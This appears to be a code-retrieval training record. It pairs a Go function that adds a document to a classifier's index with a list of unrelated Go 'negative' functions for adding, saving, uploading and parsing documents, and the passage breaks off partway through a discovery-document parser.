func (c *Classifier) addDocument(name string, doc *document) { // For documents that are part of the corpus, we add them to the dictionary and // compute their associated search data eagerly so they are ready for matching against // candidates. id := c.generateIndexedDocument(doc, true) id.generateFrequencies() id.generateSearchSet(c.q) id.s.origin = name c.docs[name] = id }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func AddDocument(clientId string, doc *ClientDocument, entitiesFound []*Entity, themes []uint64) error {\n\n\tcd := \"clientdocuments_\" + clientId\n\n\tsi, err := solr.NewSolrInterface(solrUrl, cd)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar englishEntities, entities []string\n\tfor _, entity := range entitiesFound {\n\t\tenglishEntities = append(englishEntities, entity.UrlPageTitle)\n\t\tentities = append(entities, entity.UrlPageTitle)\n\t}\n\n\tvar documents []solr.Document\n\tclientDocument := make(solr.Document)\n\tclientDocument.Set(\"documentID\", doc.ClientDocumentShort.DocumentID)\n\tclientDocument.Set(\"documentTitle\", doc.DocumentTitle)\n\tclientDocument.Set(\"document\", doc.Document)\n\tclientDocument.Set(\"languageCode\", doc.LanguageCode)\n\tclientDocument.Set(\"createdAt\", doc.CreatedAt)\n\tclientDocument.Set(\"sentiment\", doc.Sentiment)\n\tclientDocument.Set(\"themes\", themes)\n\tclientDocument.Set(\"entities\", entities)\n\tclientDocument.Set(\"englishEntities\", englishEntities)\n\tdocuments = append(documents, clientDocument)\n\n\t_, err = si.Add(documents, 1, nil)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error while adding document to Solr. No such core exists\")\n\t}\n\n\terr = Reload(cd)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func DocumentAdd(docs []Document) {\n\tlen := len(documents)\n\tfor i := range docs {\n\t\tdocs[i].SetID(uint64(len + i))\n\t\tdocuments = append(documents, docs[i])\n\t}\n\n\tindexDocuments.add(docs)\n}", "func process(document string) {\n\tfmt.Printf(\"\\n> %v\\n\\n\", document)\n\t// the sanitized document\n\tdoc := san.GetDocument(document)\n\tif len(doc) < 1 {\n\t\treturn\n\t}\n\n\t// classification of this document\n\t//fmt.Printf(\"---> %s\\n\", doc)\n\tscores, inx, _ := clssfier.ProbScores(doc)\n\tlogScores, logInx, _ := clssfier.LogScores(doc)\n\tclass := clssfier.Classes[inx]\n\tlogClass := clssfier.Classes[logInx]\n\n\t// the rate of positive sentiment\n\tposrate := float64(count[0]) / float64(count[0]+count[1])\n\tlearned := \"\"\n\n\t// if above the threshold, then learn\n\t// this document\n\tif scores[inx] > *thresh {\n\t\tclssfier.Learn(doc, class)\n\t\tlearned = \"***\"\n\t}\n\n\t// print info\n\tprettyPrintDoc(doc)\n\tfmt.Printf(\"%7.5f %v %v\\n\", scores[inx], class, learned)\n\tfmt.Printf(\"%7.2f %v\\n\", logScores[logInx], logClass)\n\tif logClass != class {\n\t\t// incorrect classification due to underflow\n\t\tfmt.Println(\"CLASSIFICATION ERROR!\")\n\t}\n\tfmt.Printf(\"%7.5f (posrate)\\n\", posrate)\n\t//fmt.Printf(\"%5.5f (high-probability posrate)\\n\", highrate)\n}", "func (a *attachUp) AddDoc(p, n string) AttachmentUploader {\n\ta.d = append(a.d, p)\n\tif n == \"\" {\n\t\tn = filepath.Base(p)\n\t}\n\ta.dn = append(a.dn, n)\n\treturn a\n}", "func (c *Classifier) AddContent(name string, content []byte) {\n\tdoc := tokenize(content)\n\tc.addDocument(name, doc)\n}", "func (s *langsvr) newDocument(uri string, language string, version int, body Body) *Document {\n\tif d, exists := s.documents[uri]; exists {\n\t\tpanic(fmt.Errorf(\"Attempting to create a document that already exists. %+v\", d))\n\t}\n\td := &Document{}\n\td.uri = uri\n\td.path, _ = URItoPath(uri)\n\td.language = language\n\td.version = version\n\td.server = s\n\td.body = body\n\ts.documents[uri] = d\n\treturn d\n}", "func (wt *WaterTower) AddTagToDocument(tag, uniqueKey string) error {\n\treturn nil\n}", "func newDoc(c *gin.Context) {\n\tkey := uuid.New()\n\tres := saveDocument(key, c)\n\tif res.Ok == false {\n\t\tif res.Message == \"file exists\" {\n\t\t\tc.JSON(fileExistsErr, res)\n\t\t} else {\n\t\t\tlog.Printf(\"Error saving document: %s\", res.Error)\n\t\t\tc.JSON(statusErr, res)\n\t\t}\n\t} else {\n\t\tc.JSON(statusOk, res)\n\t}\n}", "func (this *Corpus) AddDoc(docId uint32, wcs []*WordCount) {\n\tif this.Docs == nil {\n\t\tthis.Docs = make(map[uint32][]*WordCount)\n\t}\n\tif _, ok := this.Docs[docId]; ok {\n\t\tlog.Warningf(\"document %d already exists, associated value will be overwritten\")\n\t}\n\tthis.Docs[docId] = wcs\n}", "func NewDocument(class Class, tokens ...string) Document {\n\treturn Document{\n\t\tClass: class,\n\t\tTokens: tokens,\n\t}\n}", "func (d *Doc) AddText(x, y float64, content string) error {\n\td.SetPosition(x, y)\n\tif err := d.GoPdf.Cell(nil, content); err != nil {\n\t\treturn fmt.Errorf(\"error adding text to PDF: %s\", err)\n\t}\n\treturn nil\n}", "func (c *Classifier) generateIndexedDocument(d *document, addWords bool) *indexedDocument {\n\tid := &indexedDocument{\n\t\tTokens: make([]indexedToken, 0, len(d.Tokens)),\n\t\tdict: c.dict,\n\t}\n\n\tfor _, t := range d.Tokens {\n\t\tvar tokID tokenID\n\t\tif addWords {\n\t\t\ttokID = id.dict.add(t.Text)\n\t\t} else {\n\t\t\ttokID = id.dict.getIndex(t.Text)\n\t\t}\n\n\t\tid.Tokens = append(id.Tokens, indexedToken{\n\t\t\tIndex: t.Index,\n\t\t\tLine: t.Line,\n\t\t\tID: tokID,\n\t\t})\n\n\t}\n\tid.generateFrequencies()\n\tid.runes = diffWordsToRunes(id, 0, id.size())\n\tid.norm = id.normalized()\n\treturn id\n}", "func (x *Indexer) Add(doc *Doc) error {\n\tdid, err := x.doc2Id(doc)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdoc.Path = \"\"\n\tx.shatter <- &shatterReq{docid: did, offset: doc.Start, d: doc.Dat}\n\treturn nil\n}", "func(s *SetImp) AddString(doc string, t TargetFactory) (string, os.Error) {\n\tsplit := strings.SplitAfter(doc, \"\\n\", 0)\n\treturn s.Add(split, t)\n}", "func AddDocumentary(w http.ResponseWriter, r *http.Request) {\n\tdecoder := json.NewDecoder(r.Body)\n\tvar data models.Documentary\n\terr := decoder.Decode(&data)\n\n\tif err != nil {\n\t\thttpext.AbortAPI(w, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tdocumentary, err := watchlist.AddDocumentary(data, r)\n\n\tif err != nil {\n\t\thttpext.AbortAPI(w, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\thttpext.SuccessDataAPI(w, \"'\"+documentary.Title+\"' added succesfully\", documentary)\n}", "func (d *Document) Add() *Document {\n\treturn d\n}", "func SaveQueryTextWordMatch(q *QueryTextWordMatch) {\n\tsession, err := mgo.Dial(\"mongodb://localhost\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer session.Close()\n\n\tcollQueriesTextWordMatch := common.GetCollection(session, \"queries.textwordmatch\")\n\n\terr = collQueriesTextWordMatch.Insert(q)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n}", "func (this *WordDictionary) AddWord(word string) {\n \n}", "func (api DocumentAPI) Post(w http.ResponseWriter, r *http.Request) {\n\tcreateDocument(uuid.New().String(), w, r)\n}", "func (ts *TechStoryService) addText (w http.ResponseWriter, r *http.Request) {\n\tvar techStory model.TechStory\n\ttechStory.Key = mux.Vars(r)[\"id\"]\n\n\tvar text model.VersionedText\n\tmodel.ReadJsonBody(r, &text)\n\tWithTechStoryDao(func(dao techStoryDao) {\n\t\tvtext := dao.AddText(techStory, text.Text)\n\t\tmodel.WriteResponse(true, nil, vtext, w)\n\t})\n}", "func (db *InMemDatabase) StoreDocument(t model.Document) (model.Document, error) {\n\tdb.currentId += 1\n\tt.Id = string(db.currentId)\n\tdb.documents = append(db.documents, t)\n\treturn t, nil\n}", "func loadDocument(id, sc, fields interface{}) (index.Document, error) {\n\n\tscore, err := strconv.ParseFloat(string(sc.([]byte)), 64)\n\tif err != nil {\n\t\treturn index.Document{}, fmt.Errorf(\"Could not parse score: %s\", err)\n\t}\n\n\tdoc := index.NewDocument(string(id.([]byte)), float32(score))\n\tlst := fields.([]interface{})\n\tfor i := 0; i < len(lst); i += 2 {\n\t\tprop := string(lst[i].([]byte))\n\t\tvar val interface{}\n\t\tswitch v := lst[i+1].(type) {\n\t\tcase []byte:\n\t\t\tval = string(v)\n\t\tdefault:\n\t\t\tval = v\n\n\t\t}\n\t\tdoc = doc.Set(prop, val)\n\t}\n\treturn doc, nil\n}", "func newDocWithId(c *gin.Context) {\n\tkey := c.Params.ByName(\"id\")\n\tres := saveDocument(key, c)\n\tif res.Ok == false {\n\t\tlog.Printf(\"Error saving document: %s\", res.Error)\n\t\tc.JSON(statusErr, res)\n\t} else {\n\t\tc.JSON(statusOk, res)\n\t}\n}", "func (t *TrigramIndex) Add(doc string) int {\n\tnewDocID := t.maxDocID + 1\n\ttrigrams := ExtractStringToTrigram(doc)\n\tfor _, tg := range trigrams {\n\t\tvar mapRet IndexResult\n\t\tvar exist bool\n\t\tif mapRet, exist = t.TrigramMap[tg]; !exist {\n\t\t\t//New doc ID handle\n\t\t\tmapRet = IndexResult{}\n\t\t\tmapRet.DocIDs = make(map[int]bool)\n\t\t\tmapRet.Freq = make(map[int]int)\n\t\t\tmapRet.DocIDs[newDocID] = true\n\t\t\tmapRet.Freq[newDocID] = 1\n\t\t} else {\n\t\t\t//trigram already exist on this doc\n\t\t\tif _, docExist := mapRet.DocIDs[newDocID]; docExist {\n\t\t\t\tmapRet.Freq[newDocID] = mapRet.Freq[newDocID] + 1\n\t\t\t} else {\n\t\t\t\t//tg eixist but new doc id is not exist, add it\n\t\t\t\tmapRet.DocIDs[newDocID] = true\n\t\t\t\tmapRet.Freq[newDocID] = 1\n\t\t\t}\n\t\t}\n\t\t//Store or Add result\n\t\tt.TrigramMap[tg] = mapRet\n\t}\n\n\tt.maxDocID = newDocID\n\tt.docIDsMap[newDocID] = true\n\treturn newDocID\n}", "func (s Service) CreateDocument(ctx context.Context, req documents.UpdatePayload) (documents.Model, error) {\n\treturn s.pendingDocSrv.Create(ctx, req)\n}", "func NewDocument(ctx *pulumi.Context,\n\tname string, args *DocumentArgs, opts ...pulumi.ResourceOption) (*Document, error) {\n\tif args == nil || args.Content == nil {\n\t\treturn nil, errors.New(\"missing required argument 'Content'\")\n\t}\n\tif args == nil || args.DocumentType == nil {\n\t\treturn nil, errors.New(\"missing required argument 'DocumentType'\")\n\t}\n\tif args == nil {\n\t\targs = &DocumentArgs{}\n\t}\n\tvar resource Document\n\terr := ctx.RegisterResource(\"aws:ssm/document:Document\", name, args, &resource, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &resource, nil\n}", "func (s *BoltBackedService) PostDocument(ctx context.Context, d *Document) error {\n\tif err := d.SaveDoc(*s.db); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (m *WordModel) AddWord(word string, freqCount float32) {\n\tm.builder.Add(word)\n\tm.frequencies = append(m.frequencies, freqCount)\n}", "func CreateDocument(name, number, categoryUID string, fields map[string]string, document []byte) (Document, error) {\n\tvar doc Document\n\tuid, err := uuid.NewV4()\n\tif err != nil {\n\t\treturn Document{}, err\n\t}\n\tdoc.UID = \"doc\" + uid.String()\n\tdoc.Name = name\n\tdoc.Number = number\n\tdoc.Fields = fields\n\tdoc.Doc = document\n\tcategory, err := GetCategory(categoryUID)\n\tdoc.Category = category\n\tdoc.Doc = document\n\tif err != nil {\n\t\treturn Document{}, err\n\t}\n\terr = database.DATABASE.Set(doc.UID, doc)\n\tif err != nil {\n\t\treturn Document{}, err\n\t}\n\treturn doc, nil\n}", "func NewDocument() *Document {\n\treturn &Document{documents: make(map[string]flare.Document)}\n}", "func (manager *defaultDocumentManager) Register(targetDocument string, document interface{}) error {\n\tdocumentType := reflect.TypeOf(document)\n\tif documentType.Kind() != reflect.Ptr {\n\t\treturn ErrNotAPointer\n\t}\n\tif documentType.Elem().Kind() != reflect.Struct {\n\t\treturn ErrNotAstruct\n\t}\n\tmeta, err := getTypeMetadatas(document)\n\tif err != nil {\n\t\treturn err\n\t}\n\tmeta.structType = documentType\n\tmeta.targetDocument = targetDocument\n\t// parser := tag.NewParser(strings.NewReader(s string) )\n\tmanager.metadatas[documentType] = meta\n\n\tmanager.log(\"Type registered :\", targetDocument, meta)\n\treturn nil\n}", "func (b *Batch) Add(fields map[string]interface{}, tags []string, body string) {\n\tb.docs = append(b.docs, massDoc{fields: fields, tags: tags, body: body})\n}", "func NewDocument(ctx *pulumi.Context,\n\tname string, args *DocumentArgs, opts ...pulumi.ResourceOpt) (*Document, error) {\n\tif args == nil || args.Content == nil {\n\t\treturn nil, errors.New(\"missing required argument 'Content'\")\n\t}\n\tif args == nil || args.DocumentType == nil {\n\t\treturn nil, errors.New(\"missing required argument 'DocumentType'\")\n\t}\n\tinputs := make(map[string]interface{})\n\tif args == nil {\n\t\tinputs[\"content\"] = nil\n\t\tinputs[\"documentFormat\"] = nil\n\t\tinputs[\"documentType\"] = nil\n\t\tinputs[\"name\"] = nil\n\t\tinputs[\"permissions\"] = nil\n\t\tinputs[\"tags\"] = nil\n\t} else {\n\t\tinputs[\"content\"] = args.Content\n\t\tinputs[\"documentFormat\"] = args.DocumentFormat\n\t\tinputs[\"documentType\"] = args.DocumentType\n\t\tinputs[\"name\"] = args.Name\n\t\tinputs[\"permissions\"] = args.Permissions\n\t\tinputs[\"tags\"] = args.Tags\n\t}\n\tinputs[\"arn\"] = nil\n\tinputs[\"createdDate\"] = nil\n\tinputs[\"defaultVersion\"] = nil\n\tinputs[\"description\"] = nil\n\tinputs[\"hash\"] = nil\n\tinputs[\"hashType\"] = nil\n\tinputs[\"latestVersion\"] = nil\n\tinputs[\"owner\"] = nil\n\tinputs[\"parameters\"] = nil\n\tinputs[\"platformTypes\"] = nil\n\tinputs[\"schemaVersion\"] = nil\n\tinputs[\"status\"] = nil\n\ts, err := ctx.RegisterResource(\"aws:ssm/document:Document\", name, true, inputs, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &Document{s: s}, nil\n}", "func NewDocument(chainDoc *ChainDocument) *Document {\n\tcontentGroups := make([]*ContentGroup, 0, len(chainDoc.ContentGroups))\n\tcertificates := make([]*Certificate, 0, len(chainDoc.Certificates))\n\n\tfor i, chainContentGroup := range chainDoc.ContentGroups {\n\t\tcontentGroups = append(contentGroups, NewContentGroup(chainContentGroup, i+1))\n\t}\n\n\tfor i, chainCertificate := range chainDoc.Certificates {\n\t\tcertificates = append(certificates, NewCertificate(chainCertificate, i+1))\n\t}\n\n\treturn &Document{\n\t\tHash: chainDoc.Hash,\n\t\tCreatedDate: ToTime(chainDoc.CreatedDate),\n\t\tCreator: chainDoc.Creator,\n\t\tContentGroups: contentGroups,\n\t\tCertificates: certificates,\n\t\tDType: []string{\"Document\"},\n\t}\n}", "func NewDocument(url, site, title, content string) *Document {\n\tdoc := new(Document)\n\tdoc.DocID = uuid.NewV4().String()\n\tdoc.Url = url\n\tdoc.Site = site\n\tdoc.Title = title\n\tdoc.Content = content\n\n\treturn doc\n}", "func (sc *SolrConnector) AddDocuments(container interface{}, opt *SolrAddOption) <-chan []byte {\n\trecvChan := make(chan []byte)\n\n\tvar err error\n\t// todo: size constrain should be placed here\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Error occured, uploading document failed\")\n\t\t}\n\t}()\n\tgo func(rC chan []byte) {\n\t\tb, err := json.Marshal(container)\n\t\tif err != nil {\n\t\t\tlog.Println(\"Failed at marshaling json structure, \", err)\n\t\t}\n\n\t\trespB, err := sc.PostUpdate(b)\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t}\n\t\trC <- respB\n\t}(recvChan)\n\treturn recvChan\n}", "func NewDocumentFromString(filename, data string) (Document, error) {\n\tif len(data) == 0 {\n\t\treturn nil, fmt.Errorf(\"%s: string is empty\", filename)\n\t}\n\treturn &documentFromString{\n\t\tdata,\n\t\t&document{filename},\n\t}, nil\n}", "func (t *TextUpdateSystem) Add(text *Text) {\n\tt.entities = append(t.entities, textEntity{text})\n}", "func (sc *ESConnector) AddDocuments(container interface{}, opt *SolrAddOption) <-chan []byte {\n\trecvChan := make(chan []byte)\n\n\tvar err error\n\t// todo: size constrain should be placed here\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Error occured, uploading document failed\")\n\t\t}\n\t}()\n\tgo func(rC chan []byte) {\n\t\tb, err := json.Marshal(container)\n\t\tif err != nil {\n\t\t\tlog.Println(\"Failed at marshaling json structure, \", err)\n\t\t}\n\n\t\trespB, err := sc.PostUpdate(b)\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t}\n\t\trC <- respB\n\t}(recvChan)\n\treturn recvChan\n}", "func addToFile(text, path, fileName string) {\n\tfullPath := createFullPath(path, fileName)\n\t//Make sure that the file exists\n\tif !fileExists(path, fileName) {\n\t\tcreateFile(path, fileName)\n\t}\n\tfile, err := os.OpenFile(fullPath, os.O_APPEND, 0666)\n\tcheckError(err)\n\t_, err = file.WriteString(text)\n\tcheckError(err)\n}", "func (s *Basegff3Listener) EnterDocument(ctx *DocumentContext) {}", "func (c *Client) RecognizeText(ctx context.Context, params *RecognizeTextInput, optFns ...func(*Options)) (*RecognizeTextOutput, error) {\n\tif params == nil {\n\t\tparams = &RecognizeTextInput{}\n\t}\n\n\tresult, metadata, err := c.invokeOperation(ctx, \"RecognizeText\", params, optFns, addOperationRecognizeTextMiddlewares)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tout := result.(*RecognizeTextOutput)\n\tout.ResultMetadata = metadata\n\treturn out, nil\n}", "func (s *Service) MatchDocument(document documents.DocumentDescription, params map[string]string, response handle.ResponseHandle) error {\n\treturn matchDocument(s.client, document, params, response)\n}", "func (m Model) AddWord(word string) *Word {\n\tw := Word{Word: word}\n\tif _, err := m.PG.Model(&w).Where(\"word = ?\", word).SelectOrInsert(); err != nil {\n\t\tlog.Printf(\"failed select or insert word \\\"%s\\\", message: %s\", word, err)\n\t}\n\tlog.Printf(\"processed word \\\"%s\\\"\", word)\n\treturn &w\n}", "func (api *api) addService(service string, templateText string) error {\n\tparts := strings.Split(service, \"/\")\n\tvar res []string\n\tfor _, part := range parts {\n\t\tif len(part) != 0 {\n\t\t\tres = append(res, url.QueryEscape(part))\n\t\t}\n\t}\n\tservice = strings.Join(res, \"/\")\n\ttempl := &template.Template{}\n\tt, err := templ.Parse(templateText)\n\tif err != nil {\n\t\treturn err\n\t}\n\tapi.Manager.Lock()\n\tdefer api.Manager.Unlock()\n\tvar hits uint64\n\tif v, ok := api.Manager.pathes[service]; ok {\n\t\thits = v.hits\n\t}\n\tapi.Manager.pathes[service] = &rool{content: templateText, Pattern: t, hits: hits}\n\treturn nil\n}", "func (fm *FontManager) AddFont(pathToFontFile string) error {\n\tfontBytes, err := ioutil.ReadFile(pathToFontFile)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfont, err := truetype.Parse(fontBytes)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\tfm.fontFiles = append(fm.fontFiles, pathToFontFile)\n\tfm.fontObjects[pathToFontFile] = font\n\n\treturn nil\n}", "func ParseDocument(r io.Reader, config *configuration.Configuration, opts ...Option) (*types.Document, error) {\n\tdone := make(chan interface{})\n\tdefer close(done)\n\n\tfootnotes := types.NewFootnotes()\n\tdoc, err := Aggregate(NewParseContext(config, opts...),\n\t\t// SplitHeader(done,\n\t\tFilterOut(done,\n\t\t\tArrangeLists(done,\n\t\t\t\tCollectFootnotes(footnotes, done,\n\t\t\t\t\tApplySubstitutions(NewParseContext(config, opts...), done, // needs to be before 'ArrangeLists'\n\t\t\t\t\t\tRefineFragments(NewParseContext(config, opts...), r, done,\n\t\t\t\t\t\t\tParseDocumentFragments(NewParseContext(config, opts...), r, done),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t),\n\t\t),\n\t\t// ),\n\t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(footnotes.Notes) > 0 {\n\t\tdoc.Footnotes = footnotes.Notes\n\t}\n\tif log.IsLevelEnabled(log.DebugLevel) {\n\t\tlog.Debugf(\"parsed document:\\n%s\", spew.Sdump(doc))\n\t}\n\treturn doc, nil\n}", "func uploadDocument(c echo.Context) error {\n\n\tclaim, err := securityCheck(c, \"upload\")\n\tif err != nil {\n\t\treturn c.String(http.StatusUnauthorized, \"bye\")\n\t}\n\n\treq := c.Request()\n\t// req.ParseMultipartForm(16 << 20) // Max memory 16 MiB\n\n\tdoc := &DBdoc{}\n\tdoc.ID = 0\n\tdoc.Name = c.FormValue(\"desc\")\n\tdoc.Type = c.FormValue(\"type\")\n\tRev, _ := strconv.Atoi(c.FormValue(\"rev\"))\n\tdoc.RefId, _ = strconv.Atoi(c.FormValue(\"ref_id\"))\n\tdoc.UserId, _ = getClaimedUser(claim)\n\tlog.Println(\"Passed bools\", c.FormValue(\"worker\"), c.FormValue(\"sitemgr\"), c.FormValue(\"contractor\"))\n\tdoc.Worker = (c.FormValue(\"worker\") == \"true\")\n\tdoc.Sitemgr = (c.FormValue(\"sitemgr\") == \"true\")\n\tdoc.Contractor = (c.FormValue(\"contractor\") == \"true\")\n\tdoc.Filesize = 0\n\n\t// make upload dir if not already there, ignore errors\n\tos.Mkdir(\"uploads\", 0666)\n\n\t// Read files\n\t// files := req.MultipartForm.File[\"file\"]\n\tfiles, _ := req.FormFile(\"file\")\n\tpath := \"\"\n\t//log.Println(\"files =\", files)\n\t// for _, f := range files {\n\tf := files\n\tdoc.Filename = f.Filename\n\n\t// Source file\n\tsrc, err := f.Open()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer src.Close()\n\n\t// While filename exists, append a version number to it\n\tdoc.Path = \"uploads/\" + doc.Filename\n\tgotFile := false\n\trevID := 1\n\n\tfor !gotFile {\n\t\tlog.Println(\"Try with path=\", doc.Path)\n\t\tdst, err := os.OpenFile(doc.Path, os.O_EXCL|os.O_RDWR|os.O_CREATE, 0666)\n\t\tif err != nil {\n\t\t\tif os.IsExist(err) {\n\t\t\t\tlog.Println(doc.Path, \"already exists\")\n\t\t\t\tdoc.Path = fmt.Sprintf(\"uploads/%s.%d\", doc.Filename, revID)\n\t\t\t\trevID++\n\t\t\t\tif revID > 999 {\n\t\t\t\t\tlog.Println(\"RevID limit exceeded, terminating\")\n\t\t\t\t\treturn c.String(http.StatusBadRequest, doc.Path)\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tlog.Println(\"Created file\", doc.Path)\n\t\t\tgotFile = true\n\t\t\tdefer dst.Close()\n\n\t\t\tif doc.Filesize, err = io.Copy(dst, src); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t// If we get here, then the file transfer is complete\n\n\t\t\t// If doc does not exist by this filename, create it\n\t\t\t// If doc does exist, create rev, and update header details of doc\n\n\t\t\tif Rev == 0 {\n\t\t\t\t// New doc\n\t\t\t\terr := DB.InsertInto(\"doc\").\n\t\t\t\t\tWhitelist(\"name\", \"filename\", \"path\", \"worker\", \"sitemgr\", \"contractor\", \"type\", \"ref_id\", \"filesize\", \"user_id\").\n\t\t\t\t\tRecord(doc).\n\t\t\t\t\tReturning(\"id\").\n\t\t\t\t\tQueryScalar(&doc.ID)\n\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Println(\"Inserting Record:\", err.Error())\n\t\t\t\t} else {\n\t\t\t\t\tlog.Println(\"Inserted new doc with ID\", doc.ID)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// Revision to existing doc\n\t\t\t\tdocRev := &DBdocRev{}\n\t\t\t\tdocRev.Path = doc.Path\n\t\t\t\tdocRev.Filename = doc.Filename\n\t\t\t\tdocRev.Filesize = doc.Filesize\n\t\t\t\tdocRev.DocId = doc.ID\n\t\t\t\tdocRev.ID = Rev\n\t\t\t\tdocRev.Descr = doc.Name\n\t\t\t\tdocRev.UserId = doc.UserId\n\n\t\t\t\t_, err := DB.InsertInto(\"doc_rev\").\n\t\t\t\t\tWhitelist(\"doc_id\", \"id\", \"descr\", \"filename\", \"path\", \"filesize\", \"user_id\").\n\t\t\t\t\tRecord(docRev).\n\t\t\t\t\tExec()\n\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Println(\"Inserting revision:\", err.Error())\n\t\t\t\t} else {\n\t\t\t\t\tlog.Println(\"Inserted new revision with ID\", docRev.ID)\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t} // managed to create the new file\n\t\t// } // loop until we have created a file\n\t} // foreach file being uploaded this batch\n\n\treturn c.String(http.StatusOK, path)\n}", "func (c *Client) CreateDocument(vaultID string, document *models.EncryptedDocument) (string, error) {\n\treturn \"\", nil\n}", "func NewDocument(in *yaml.Node, context *compiler.Context) (*Document, error) {\n\terrors := make([]error, 0)\n\tx := &Document{}\n\tm, ok := compiler.UnpackMap(in)\n\tif !ok {\n\t\tmessage := fmt.Sprintf(\"has unexpected value: %+v (%T)\", in, in)\n\t\terrors = append(errors, compiler.NewError(context, message))\n\t} else {\n\t\trequiredKeys := []string{\"discoveryVersion\", \"kind\"}\n\t\tmissingKeys := compiler.MissingKeysInMap(m, requiredKeys)\n\t\tif len(missingKeys) > 0 {\n\t\t\tmessage := fmt.Sprintf(\"is missing required %s: %+v\", compiler.PluralProperties(len(missingKeys)), strings.Join(missingKeys, \", \"))\n\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t}\n\t\tallowedKeys := []string{\"auth\", \"basePath\", \"baseUrl\", \"batchPath\", \"canonicalName\", \"description\", \"discoveryVersion\", \"documentationLink\", \"etag\", \"features\", \"fullyEncodeReservedExpansion\", \"icons\", \"id\", \"kind\", \"labels\", \"methods\", \"mtlsRootUrl\", \"name\", \"ownerDomain\", \"ownerName\", \"packagePath\", \"parameters\", \"protocol\", \"resources\", \"revision\", \"rootUrl\", \"schemas\", \"servicePath\", \"title\", \"version\", \"version_module\"}\n\t\tvar allowedPatterns []*regexp.Regexp\n\t\tinvalidKeys := compiler.InvalidKeysInMap(m, allowedKeys, allowedPatterns)\n\t\tif len(invalidKeys) > 0 {\n\t\t\tmessage := fmt.Sprintf(\"has invalid %s: %+v\", compiler.PluralProperties(len(invalidKeys)), strings.Join(invalidKeys, \", \"))\n\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t}\n\t\t// string kind = 1;\n\t\tv1 := compiler.MapValueForKey(m, \"kind\")\n\t\tif v1 != nil {\n\t\t\tx.Kind, ok = compiler.StringForScalarNode(v1)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for kind: %s\", compiler.Display(v1))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string discovery_version = 2;\n\t\tv2 := compiler.MapValueForKey(m, \"discoveryVersion\")\n\t\tif v2 != nil {\n\t\t\tx.DiscoveryVersion, ok = compiler.StringForScalarNode(v2)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for discoveryVersion: %s\", compiler.Display(v2))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string id = 3;\n\t\tv3 := compiler.MapValueForKey(m, \"id\")\n\t\tif v3 != nil {\n\t\t\tx.Id, ok = compiler.StringForScalarNode(v3)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for id: %s\", compiler.Display(v3))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string name = 4;\n\t\tv4 := compiler.MapValueForKey(m, \"name\")\n\t\tif v4 != nil {\n\t\t\tx.Name, ok = compiler.StringForScalarNode(v4)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for name: %s\", compiler.Display(v4))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string version = 5;\n\t\tv5 := compiler.MapValueForKey(m, \"version\")\n\t\tif v5 != nil {\n\t\t\tx.Version, ok = compiler.StringForScalarNode(v5)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for version: %s\", compiler.Display(v5))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string revision = 6;\n\t\tv6 := compiler.MapValueForKey(m, \"revision\")\n\t\tif v6 != nil {\n\t\t\tx.Revision, ok = compiler.StringForScalarNode(v6)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for revision: %s\", compiler.Display(v6))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string title = 7;\n\t\tv7 := compiler.MapValueForKey(m, \"title\")\n\t\tif v7 != nil {\n\t\t\tx.Title, ok = compiler.StringForScalarNode(v7)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for title: %s\", compiler.Display(v7))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string description = 8;\n\t\tv8 := compiler.MapValueForKey(m, \"description\")\n\t\tif v8 != nil {\n\t\t\tx.Description, ok = compiler.StringForScalarNode(v8)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for description: %s\", 